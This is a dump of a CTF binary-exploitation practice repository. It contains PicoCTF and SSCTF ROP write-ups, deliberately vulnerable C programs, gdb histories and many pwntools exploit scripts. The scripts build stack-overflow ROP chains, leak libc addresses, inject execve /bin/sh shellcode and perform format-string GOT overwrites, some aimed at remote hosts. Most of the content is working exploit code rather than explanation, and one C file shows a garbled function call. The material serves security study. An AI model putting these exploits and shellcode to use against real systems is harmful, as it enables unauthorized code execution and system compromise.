| ``` 186 | 187 | pwned. 188 | ## Other write-ups and resources 189 | 190 | * none yet 191 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-3-infoleak&rop_solved/core -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-3-infoleak&rop_solved/libc.so.6 -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/peda-session-rop3.txt: -------------------------------------------------------------------------------- 1 | break main 2 | 3 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/rop3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-3-infoleak&rop_solved/rop3 -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/rop3-7f3312fe43c46d26.c: -------------------------------------------------------------------------------- 1 | #undef _FORTIFY_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | void vulnerable_function() { 7 | char buf[128]; 8 | read(STDIN_FILENO, buf,256); 9 | } 10 | 11 | void be_nice_to_people() { 12 | // /bin/sh is usually symlinked to bash, which usually drops privs. Make 13 | // sure we don't drop privs if we exec bash, (ie if we call system()). 14 | gid_t gid = getegid(); 15 | setresgid(gid, gid, gid); 16 | } 17 | 18 | int main(int argc, char** argv) { 19 | be_nice_to_people(); 20 | vulnerable_function(); 21 | write(STDOUT_FILENO, "Hello, World\n", 13); 22 | } 23 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/rop3.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-3-infoleak&rop_solved/rop3.idb -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/soln.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(arch='i386', os='linux') 3 | #conventions for pwntools ^ 4 | 5 | first_part = ("A"*140 + "\xa0\x83\x04\x08" + "\x74\x84\x04\x08" 6 | + "\x01\x00\x00\x00" + "\x00\xa0\x04\x08" + "\x04\x00\x00\x00" ) 7 | # our exploit so far ^ 8 | r = process("./rop3-7f3312fe43c46d26", shell=True) #executes the binary 9 | r.sendline(first_part ) #feeds the exploit to the binary 10 | a=unpack(r.recv(4)) #gets the four bytes we leaked from the GOT 11 | print hex(a) 12 | system_address=a-0x9aa40 13 | binsh_address = a+0x85e54 14 | 15 | r.sendline("A"*140+pack(system_address)+"JUNK"+pack(binsh_address)) 16 | """ The above line sends 140 bytes of padding, the little endian form of 17 | system_address, a bogus return address, and the little endian form of the 18 | address of /bin/sh. The pack function just turns the integer into an escape 19 | sequence for us 20 | """ 21 | r.interactive() # This just enables you to type things into your shell :) 22 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | ov="A"*140 3 | 4 | vulfun=0x08048474 5 | sys_off=0x3b340 6 | read_off=0xd9bf0 7 | write_plt=0x080483A0 8 | read_got=0x804A000 9 | read_plt=0x08048360 10 | globalbuf=0x0804A01F 11 | 12 | rop1=ov+p32(write_plt)+p32(vulfun)\ 13 | +p32(1)+p32(read_got)+p32(4) 14 | 15 | p=process("./rop3") 16 | # gdb.attach(p,''' 17 | # b *0x08048474 18 | # b *0x0804849B 19 | # ''') 20 | context.log_level='debug' 21 | p.sendline(rop1) 22 | kk=p.recv() 23 | read_addr=u32(kk) 24 | system_addr=read_addr-read_off+sys_off 25 | print "system address is ",hex(system_addr) 26 | 27 | rop2=ov+p32(read_plt)+p32(vulfun)\ 28 | +p32(0)+p32(globalbuf)+p32(20) 29 | p.sendline(rop2) 30 | 31 | raw_input("sending /bin/sh") 32 | p.sendline("/bin/sh\00") 33 | 34 | 35 | rop3=ov+p32(system_addr)+p32(0)\ 36 | +p32(globalbuf) 37 | p.sendline(rop3) 38 | p.interactive() 39 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/solveuse2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | ov="A"*140 3 | 4 | vulfun=0x08048474 5 | sys_off=0x3b340 6 | read_off=0xd9bf0 7 | write_plt=0x080483A0 8 | read_got=0x804A000 9 | read_plt=0x08048360 10 | globalbuf=0x0804A01F 11 | 12 | rop1=ov+p32(write_plt)+p32(vulfun)\ 13 | +p32(1)+p32(read_got)+p32(4) 14 | 15 | p=process("./rop3") 16 | # gdb.attach(p,''' 17 | # b *0x08048474 18 | # b *0x0804849B 19 | # ''') 20 | # context.log_level='debug' 21 | p.sendline(rop1) 22 | kk=p.recv() 23 | read_addr=u32(kk) 24 | system_addr=read_addr-read_off+sys_off 25 | print "system address is ",hex(system_addr) 26 | ''' 27 | _solved$ sudo one_gadget libc.so.6 -s 'echo "offset ->"' 28 | [sudo] password for calvinrd: 29 | [OneGadget] Trying 0x3b21b... 30 | offset -> 242203 31 | [OneGadget] Trying 0x62a64... 32 | offset -> 404068 33 | [OneGadget] Trying 0x62a65... 34 | offset -> 404069 35 | 36 | ''' 37 | one=404069+read_addr-read_off 38 | 39 | rop2=ov+p32(one) 40 | p.sendline(rop2) 41 | 42 | # raw_input("sending /bin/sh") 43 | # p.sendline("/bin/sh\00") 44 | 45 | 46 | # rop3=ov+p32(system_addr)+p32(0)\ 47 | # +p32(globalbuf) 48 | # p.sendline(rop3) 49 | p.interactive() 50 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/.gdb_history: -------------------------------------------------------------------------------- 1 | pattern_create 100 2 | pattern_create 500 3 | r 4 | pattern_offset 0x41416d41 5 | checksec 6 | find /bin/sh 7 | finds /bin/sh 8 | find /bin/sh 9 | find sh 10 | find /sh 11 | find /bin/sh 12 | r 13 | find /bin/sh 14 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF 2013: ROP 4 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 165 5 | **Description:** 6 | 7 | >Problem has been updated April 28th at midnight ESTAnother ROP problem, this 8 | >time a bit harder than before. Available on the shell machine in 9 | >/problems/ROP_4_887f7f28b1f64d7e . 10 | 11 | ## Write-up 12 | **Disclaimer: The binary was taken from the server since there was no download 13 | in the description, it may not line up exactly with the source code.** 14 | 15 | As the [SMALL_HINT](SMALL_HINT) suggests, they've gone and used `strcpy()` instead of 16 | `strcat()`. Luckily this won't be an issue. 17 | 18 | Let's look at the code 19 | ```C 20 | #include 21 | #include 22 | #include 23 | 24 | char exec_string[20]; 25 | 26 | void exec_the_string() { 27 | execlp(exec_string, exec_string, NULL); 28 | } 29 | 30 | void call_me_with_cafebabe(int cafebabe) { 31 | if (cafebabe == 0xcafebabe) { 32 | strcpy(exec_string, "/sh"); 33 | } 34 | } 35 | 36 | void call_me_with_two_args(int deadbeef, int cafebabe) { 37 | if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) { 38 | strcpy(exec_string, "/bin"); 39 | } 40 | } 41 | 42 | void vulnerable_function() { 43 | char buf[128]; 44 | read(STDIN_FILENO, buf, 512); 45 | } 46 | ``` 47 | 48 | Based on the code, it looks like they wanted us to call 49 | `call_me_with_two_args()`, followed by `call_me_with_cafebabe()`, followed by 50 | `exec_the_string()`. However they used `strcpy()` so we'll just circumvent the 51 | entire thing. The important factor is that we can call `execlp()` and `read()`. 52 | 53 | That will be enough for a shell. We can start by finding the offset for `$eip` 54 | ``` 55 | python -c 'print "A"*140 + "BBBB"' | strace ./rop4 56 | ... 57 | ... 58 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- 59 | ``` 60 | Surprise surprise, 140 bytes like the other ROP problems. Now at this point 61 | I'll confess that I have no idea how `execlp()` is supposed to work. What I do 62 | know is that according to their code, `execlp("/bin/sh","/bin/sh",NULL)` should 63 | do the trick. First we use objdump to dump the functions and we'll find that 64 | there's a lot. That's because this binary is statically linked. There are a lot 65 | of functions to choose from :). I grepped around for some useful functions. 66 | ``` 67 | 08053ab0 : 68 | ... 69 | 08053d20 <__libc_read>: 70 | ... 71 | ``` 72 | With these functions we can fairly reliably get a shell. I started witha a call 73 | to `read(1,0xff6f0000,9)`. This was so I had an absolute address for /bin/sh to 74 | go into. The address 0xff6f0000 was just an address I picked that was likely to 75 | be in the stack range consistently across runs. 76 | ``` 77 | python -c 'print "A"*140 + "\x20\x3d\x05\x08" + "JUNK" + 78 | "\x01\x00\x00\x00" + "\x00\x00\x6f\xff"+ "\x09\x00\x00\x00"' | ./rop4 79 | ``` 80 | 81 | From here, we need to chain function calls together so we can call `execlp()`. 82 | This means that I need to somehow get my three arguments for `read()` off of 83 | the stack, otherwise 0x00000001 will be the next address jumped to. I used 84 | [ropshell](ropshell.com) to find the ROP gadget I needed. A ROP gadget is just 85 | a tiny chunk of assembly that does something and returns. In this case, it runs 86 | pop;pop;pop;ret. This ensures that the three arguments for `read()` aren't 87 | treated as addresses with code to be run. The address for this gadget is: 88 | 0x0809b675. 89 | 90 | We get this: 91 | ``` 92 | python -c 'print "A"*140 + "\x20\x3d\x05\x08" + "\x75\xb6\x09\x08" + 93 | "\x01\x00\x00\x00" + "\x00\x00\x6f\xff"+ "\x09\x00\x00\x00"' | ./rop4 94 | ``` 95 | as the next phase in our exploit. Now that we have the pop;pop;pop;ret gadget, 96 | we can just put the call to `execlp()` after it all. We then supply a bogus 97 | return address, the address of the string to be executed (x2), and 0, or NULL. 98 | 99 | ``` 100 | python -c 'print "A"*140 + "\x20\x3d\x05\x08" + "\x75\xb6\x09\x08" + 101 | "\x01\x00\x00\x00" + "\x00\x00\x6f\xff"+ "\x09\x00\x00\x00"+ "\xb0\x3a\x05\x08" 102 | + "JUNK" + "\x00\x00\x6f\xff" + "\x00\x00\x6f\xff" + "\x00\x00\x00\x00"' | ./rop4 103 | ``` 104 | 105 | Note that I supplied the same address as the call to `read()`. This is because 106 | when you run the program, you'll actually type in /bin/sh for the second read, 107 | and that is what gets executed. Try typing in /bin/date , it will also work :P 108 | 109 | Note: On the server you may want to use /bin/bash :) 110 | 111 | pwned. 112 | 113 | ## Other write-ups and resources 114 | 115 | * none yet 116 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/SMALL_HINT: -------------------------------------------------------------------------------- 1 | oops, we messed up and use strcpy instead of strcat - but it's still solvable 2 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-4_solved/core -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/peda-session-rop4.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/rop4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-4_solved/rop4 -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/rop4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char exec_string[20]; 6 | 7 | void exec_the_string() { 8 | execlp(exec_string, exec_string, NULL); 9 | } 10 | 11 | void call_me_with_cafebabe(int cafebabe) { 12 | if (cafebabe == 0xcafebabe) { 13 | strcpy(exec_string, "/sh"); 14 | } 15 | } 16 | 17 | void call_me_with_two_args(int deadbeef, int cafebabe) { 18 | if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) { 19 | strcpy(exec_string, "/bin"); 20 | } 21 | } 22 | 23 | void vulnerable_function() { 24 | char buf[128]; 25 | read(STDIN_FILENO, buf, 512); 26 | } 27 | 28 | void be_nice_to_people() { 29 | // /bin/sh is usually symlinked to bash, which usually drops privs. Make 30 | // sure we don't drop privs if we exec bash, (ie if we call system()). 31 | gid_t gid = getegid(); 32 | setresgid(gid, gid, gid); 33 | } 34 | 35 | int main(int argc, char** argv) { 36 | exec_string[0] = '\0'; 37 | be_nigetece_to_people(); 38 | vulnerable_function(); 39 | } 40 | -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/rop4.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-4_solved/rop4.idb -------------------------------------------------------------------------------- /stack/ROP/rop-4_solved/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | ov="a"*140 3 | p=process("./rop4") 4 | vul=0x08048F3B 5 | exe=0x08053AB0 6 | binsh=0x080CBF4F 7 | pay=ov+p32(exe)+p32(0xdeadbeef)+p32(binsh)+p32(binsh)+p32(0x0) 8 | p.sendline(pay) 9 | p.interactive() 10 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/.gdb_history: -------------------------------------------------------------------------------- 1 | ni 2 | ni 3 | ni 4 | ni 5 | ni 6 | ni 7 | ni 8 | ni 9 | ni 10 | ni 11 | ni 12 | ni 13 | ni 14 | ni 15 | ni 16 | ni 17 | ni 18 | ni 19 | ni 20 | ni 21 | ni 22 | ni 23 | ni 24 | ni 25 | ni 26 | ni 27 | ni 28 | ni 29 | ni 30 | ni 31 | ni 32 | ni 33 | ni 34 | ni 35 | ni 36 | ni 37 | ni 38 | ni 39 | ni 10 40 | ni 10 41 | ni 42 | ni 10 43 | ni 44 | ni 45 | ni 10 46 | ni 47 | ni 48 | ni 49 | ni 10 50 | ni 51 | ni 52 | ni 53 | ni 54 | ni 55 | ni 56 | ni 57 | ni 10 58 | ni 59 | ni 60 | ni 61 | ni 62 | ni 63 | ni 64 | ni 65 | ni 66 | ni 67 | ni 68 | ni 69 | ni 10 70 | ni 71 | ni 72 | ni 73 | ni 74 | ni 75 | ni 76 | ni 77 | ni 78 | ni 79 | ni 80 | ni 81 | ni 82 | ni 83 | c 84 | c 85 | c 86 | c 87 | c 88 | c 89 | c 90 | c 91 | c 92 | ni 93 | ni 94 | ni 95 | ni 96 | ni 97 | ni 98 | ni 99 | ni 100 | ni 101 | ni 102 | ni 103 | ni 104 | ni 105 | x /wx 0x80eca35 106 | ri 107 | r 108 | r 109 | c 110 | c 111 | ni 112 | ni 113 | ni 114 | ni 115 | ni 116 | ni 117 | ni 118 | ni 119 | ni 120 | ni 121 | ni 122 | ni 123 | ni 124 | ni 125 | ni 126 | ni 127 | ni 128 | ni 129 | si 130 | checksec 131 | c 132 | c 133 | c 134 | ni 10 135 | ni 10 136 | ni 10 137 | ni 138 | c 139 | ni 10 140 | ni 141 | ni 10 142 | c 143 | info breakpoints 144 | c 145 | c 146 | c 147 | c 148 | c 149 | ni 30 150 | ni 151 | c 152 | c 153 | ni 20 154 | ni 155 | set $ecx=0 156 | ni 157 | r 158 | c 159 | c 160 | ni 19 161 | set $ecx=0 162 | ni 163 | ni 164 | ni 165 | c 166 | c 167 | ni 10 168 | ni 10 169 | ni 170 | set $eax=12 171 | ni 172 | c 173 | c 174 | ni 19 175 | ni 176 | ni 177 | x /wx 0x80eca3f 178 | x /32wx 0x80eca3f 179 | x /32wx 0x80eca3f 180 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/250: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/ssctf_pwn250/250 -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/250.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/ssctf_pwn250/250.idb -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/250.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding:utf-8 -*- 3 | from pwn import * 4 | 5 | # switches 6 | 7 | if len(sys.argv) == 1: 8 | DEBUG = 1 9 | else : 10 | DEBUG = 0 11 | # modify this 12 | if DEBUG: 13 | io = process('./250') 14 | #gdb.attach(io,'#b main') 15 | else: 16 | io = remote(sys.argv[1], int(sys.argv[2])) 17 | 18 | context(log_level='debug') 19 | 20 | # define symbols and offsets here 21 | 22 | mprotect = 0x0806E070 23 | main_addr = 0x08048886 24 | read = 0x0806D510 25 | stack = 0x08049000 26 | size = 0x1000 27 | prop = 7 28 | 29 | # define exploit function here 30 | def pwn(): 31 | io.recvuntil('[InPut Data Size]') 32 | io.sendline('82') 33 | io.recvuntil('[YourData]') 34 | payload1 = 'A' * 62+p32(mprotect)+p32(main_addr)+p32(stack)+p32(size)+p32(prop) 35 | io.send(payload1) 36 | io.recvuntil('[InPut Data Size]') 37 | io.sendline('90') 38 | io.recvuntil('[YourData]') 39 | shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" 40 | ssize = len(shellcode) 41 | payload2 = 'A' * 62+p32(read)+p32(stack)+p32(0)+p32(stack)+p32(ssize)+'THE END!' 42 | io.send(payload2) 43 | #io.recvuntil('THE END!') 44 | raw_input('send?') 45 | io.send(shellcode) 46 | io.interactive() 47 | return 48 | 49 | if __name__ == '__main__': 50 | pwn() 51 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/exp-muhe.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!/usr/bin/env python2 3 | from pwn import * 4 | context.log_level = 'debug' 5 | context.arch = 'i386' 6 | LOCAL = 1 7 | main_addr = 0x0804887C 8 | int80_gad_addr = 0x0806cbb5 9 | #0x3a+4+4 10 | read_addr = 0x0806D510 11 | write_addr= 0x0806D580 12 | bss_addr = 0x080ECA35 13 | xor_eax_eax_ret = 0x080493a3 14 | pop_ebx_ret = 0x080481c9 15 | pop_ecx_ret = 0x080df1b9 16 | pop_edx_ret = 0x0806efbb 17 | add_al_ret = 0x080b4f19 18 | mov_esp_ecx = 0x080b8c22 19 | if LOCAL: 20 | p = process('./250')#,env=env) 21 | #p = process('filename',raw=False) 22 | #this for Windows10 subsystem 23 | else: 24 | p = remote('60.191.205.81',2017) 25 | def fuck(size,data): 26 | p.recvuntil('Size]') 27 | p.sendline(str(size)) 28 | p.recvuntil('Data]') 29 | p.sendline(str(data)) 30 | def main(): 31 | 32 | gdb.attach(p,""" 33 | b *0x08048986 34 | c 35 | """) 36 | 37 | 38 | payload = 'A'*(0x3a+4) +p32(read_addr) + p32(main_addr) + p32(0) + p32(bss_addr) + p32(8) 39 | fuck(0x100,payload) 40 | p.send("/bin/sh\0") 41 | sleep(2) 42 | payload = 'A'*(0x3a+4) +p32(read_addr) + p32(main_addr) + p32(0) + p32(bss_addr+10) + p32(8) 43 | fuck(0x100,payload) 44 | p.send(p32(bss_addr)) 45 | sleep(2) 46 | 47 | ''' 48 | 这里要注意参数execve 49 | ebx="/bin/sh"的地址 50 | ecx=指向"/bin/sh"的地址指针 51 | eax=0xb 这个是调用int 80的号码 52 | ''' 53 | payload = 'A'*(0x3a+4) + p32(xor_eax_eax_ret)+p32(pop_ebx_ret)+p32(bss_addr) 54 | payload += p32(pop_ecx_ret) + p32(bss_addr+10) 55 | payload += p32(pop_edx_ret) + p32(0) 56 | payload += p32(add_al_ret) * 0xb 57 | payload += p32(int80_gad_addr) 58 | fuck(0x100,payload) 59 | 60 | p.interactive() 61 | if __name__ == '__main__': 62 | main() 63 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" 6 | shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" 7 | shellcode += "\x0b\xcd\x80" 8 | 9 | bssAddr = 0x080ec000 10 | mprotectAddr = 0x0806e070 11 | readAddr = 0x0806d510 12 | writeAddr = 0x0806d580 13 | 14 | 15 | p = process('./250') 16 | gdb.attach(p) 17 | context.log_level = 'debug' 18 | p.recvuntil('Size]') 19 | p.sendline('102') 20 | p.recvuntil('Data]') 21 | 22 | pppppr = 0x08098774 23 | pppr = 0x080ad715 24 | 25 | payload = 'a'*62+p32(mprotectAddr) + p32(pppr) + p32(bssAddr) + p32(0x1000) + p32(7) 26 | payload += p32(readAddr) + p32(bssAddr) + p32(0) + p32(bssAddr) + p32(len(shellcode)) 27 | p.send(payload) 28 | raw_input('send shellcode?') 29 | p.send(shellcode) 30 | #p.recv() 31 | 32 | 33 | p.interactive() 34 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/peda-session-250.txt: -------------------------------------------------------------------------------- 1 | break *0x08048986 2 | 3 | -------------------------------------------------------------------------------- /stack/ROP/ssctf_pwn250/peda-session-dash.txt: -------------------------------------------------------------------------------- 1 | break *0x806cbb5 2 | 3 | -------------------------------------------------------------------------------- /stack/fmt/ebp/ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/ebp/ebp_a96f7231ab81e1b0d7fe24d660def25a.elf -------------------------------------------------------------------------------- /stack/fmt/ebp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #print '{0!s}'.format(addr) # {0!s} first argument 0, calls str() on it first 3 | 4 | context.log_level = 'info' 5 | H,P='localhost',6666 6 | fmt_param_num = 4 7 | bufaddr = 0x0804A080 8 | junk = '' 9 | r = remote(H,P) 10 | 11 | r.sendline('%'+str(fmt_param_num)+'$p') 12 | ebpaddr = int(r.recvline(),16) 13 | ripaddr = ebpaddr + 4 14 | junk+=r.recvline() # another newline after each puts 15 | 16 | r.sendline('%'+str(12)+'$p') 17 | ebpcont = int(r.recvline(),16) 18 | junk+=r.recvline() # another newline after each puts 19 | 20 | log.info(' ebp addr: %x' % ebpaddr) 21 | log.info(' rip addr: %x' % ripaddr) 22 | log.info(' ebp cont: %x' % ebpcont) 23 | 24 | bytes2print = ripaddr & 0xFFFF 25 | log.info('w 2b short rip [%x] to ebp cont [%x] to create rip [%x]...' % (bytes2print,ebpcont,ripaddr)) 26 | out = '%.{0!s}u%{1!s}$hn'.format(bytes2print,4) 27 | r.sendline(out) 28 | junk+=r.recvline() 29 | 30 | log.info('Check for written ebp cont. Remember ebp cont must now be rip') 31 | r.sendline('%'+str(fmt_param_num)+'$p') 32 | ebpcont_check = int(r.recvline(),16) 33 | junk+=r.recvline() 34 | log.info(' ebp cont check: %x' % ebpcont_check) 35 | 36 | log.info('w buf addr [%x] to rip [%x]...' % (bufaddr,ripaddr)) 37 | bufaddroffset = bufaddr & 0xFFFF 38 | out = '%.{0!s}u%{1!s}$hn'.format(bufaddroffset,12) 39 | shellcode = asm(shellcraft.i386.linux.sh()) 40 | r.sendline(shellcode+'%.{0!s}u%{1!s}$hn'.format(bufaddroffset-len(shellcode),12)) # why minus len(sh)? 41 | junk+=r.recvline() 42 | log.info('Enjoy your shell!') 43 | r.interactive() 44 | -------------------------------------------------------------------------------- /stack/fmt/ebp/exp_muhe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #--by muhe-- 3 | from zio import * 4 | #target='./ebp' 5 | target = ('127.0.0.1',10001) 6 | io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) 7 | shellcode = ("\x6a\x0b\x58\x99\x52\x68\x2f\x2f" 8 | "\x73\x68\x68\x2f\x62\x69\x6e\x54" 9 | "\x5b\x52\x53\x54\x59\x0f\x34") 10 | vuln_addr =0x0804a480 11 | #leak stack addr 12 | io.writeline('%4$p') 13 | #raw_input() 14 | leak_addr = int(io.read_until('\n'),16) 15 | ret_addr = (leak_addr-0x1c) & 0xffff 16 | print ret_addr 17 | #overwrite 18 | #raw_input() 19 | p1 = "%"+str(ret_addr)+"x%"+str(4)+"$hn" 20 | io.writeline(p1) 21 | io.read_until('\n') 22 | #get shell 23 | ##raw_input() 24 | p2 = shellcode+"%"+str((vuln_addr & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn" 25 | io.writeline(p2) 26 | io.interact() 27 | -------------------------------------------------------------------------------- /stack/fmt/normal/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/normal/.DS_Store -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/.gdb_history: -------------------------------------------------------------------------------- 1 | checksec 2 | contin 3 | n 4 | c 5 | c 6 | c 7 | c 8 | ni 9 | ni 10 | ni 11 | ni 12 | c 13 | print puts 14 | c 15 | -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/normal/fmt_string_write_got/core -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | # context.log_level = 'debug' 5 | 6 | # hack the ftp server 7 | # nc 120.27.155.82 9000 8 | 9 | elf = ELF('pwn3') 10 | libc = ELF('libc.so.6') 11 | 12 | pr = process('./pwn3') 13 | # pr = remote('120.27.155.82', 9000) 14 | gdb.attach(pr, 'b * 0x804889B') 15 | 16 | username = "rxraclhm" 17 | 18 | pr.recvuntil("Name (ftp.hacker.server:Rainism):") 19 | pr.sendline(username) 20 | 21 | # 1 -> get 22 | # 2 -> put 23 | # 3 -> dir 24 | # other -> exit 25 | 26 | def put(pr, name, content): 27 | pr.recvuntil("ftp>") 28 | pr.sendline('put') 29 | pr.recvuntil("upload:") 30 | pr.sendline(name) 31 | pr.recvuntil("content:") 32 | pr.sendline(content) 33 | 34 | def get(pr, name, num): 35 | pr.recvuntil("ftp>") 36 | pr.sendline('get') 37 | pr.recvuntil('get:') 38 | pr.sendline(name) 39 | return pr.recvn(num) 40 | 41 | def dir(pr): 42 | pr.recvuntil("ftp>") 43 | pr.sendline('dir') 44 | 45 | plt_puts = elf.symbols['puts'] 46 | print 'plt_puts= ' + hex(plt_puts) 47 | got_puts = elf.got['puts'] 48 | print 'got_puts= ' + hex(got_puts) 49 | 50 | # /bin/sh 51 | put(pr, '/sh', '%8$s' + p32(got_puts)) 52 | text = get(pr, '/sh', 4) 53 | puts_addr = u32(text) 54 | print 'puts_addr= ' + hex(puts_addr) 55 | system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system']) 56 | print 'system_addr= ' + hex(system_addr) 57 | 58 | def foo(name, address, num): 59 | num = num & 0xff 60 | if num == 0 : num == 0x100 61 | payload = '%' + str(num) + 'c%10$hhn' 62 | payload = payload.ljust(12, 'A') 63 | put(pr, name, payload + p32(address)) 64 | get(pr, name, 0) 65 | 66 | foo('n', got_puts, system_addr) 67 | foo('i', got_puts+1, system_addr>>8) 68 | foo('b', got_puts+2, system_addr>>16) 69 | foo('/', got_puts+3, system_addr>>24) 70 | 71 | # system("/bin/sh") 72 | dir(pr) 73 | pr.interactive() 74 | -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/normal/fmt_string_write_got/libc.so.6 -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/peda-session-pwn3.txt: -------------------------------------------------------------------------------- 1 | break *0x08048777 2 | break *0x080487F6 3 | break *0x0804889E 4 | 5 | -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/pwn3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/normal/fmt_string_write_got/pwn3 -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/pwn3.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/fmt/normal/fmt_string_write_got/pwn3.idb -------------------------------------------------------------------------------- /stack/fmt/normal/fmt_string_write_got/readme: -------------------------------------------------------------------------------- 1 | ## pwn3 (pwn, 350p) 2 | 3 | 提供了以下文件: 4 | [pwn3](./pwn3) 5 | 6 | --------------------------------------- 7 | 8 | ### 0x1 分析程序 9 | 执行下程序,发现要输入用户名,用IDA分析下,是简单的凯撒加密,算下就得到用户名了: 10 | 11 | ``` 12 | username = bytearray("sysbdmin") 13 | for i in range(len(username)): 14 | username[i] -= 1 15 | print username 16 | 17 | # below is the output: 18 | # rxraclhm 19 | ``` 20 | 21 | 继续往后分析,发现是一个类似ftp服务器的程序,可以输入`put|get|dir`三个命令。 22 | + 1. put: 用`malloc`分配244个字节,建立如以下数据结构,多次的put将形成一条链表。 23 | ``` 24 | struct _FILE { 25 | char filename[40]; 26 | char content[200]; 27 | struct _FILE *previous; 28 | }; 29 | ``` 30 | 31 | + 2. get: 要求先输入filename,然后遍历链表,匹配filename,找到则输出内容。找不到的话,是输出当前栈里的内容。 32 | ``` 33 | int get_file() 34 | { 35 | char dest; // [sp+1Ch] [bp-FCh]@5 36 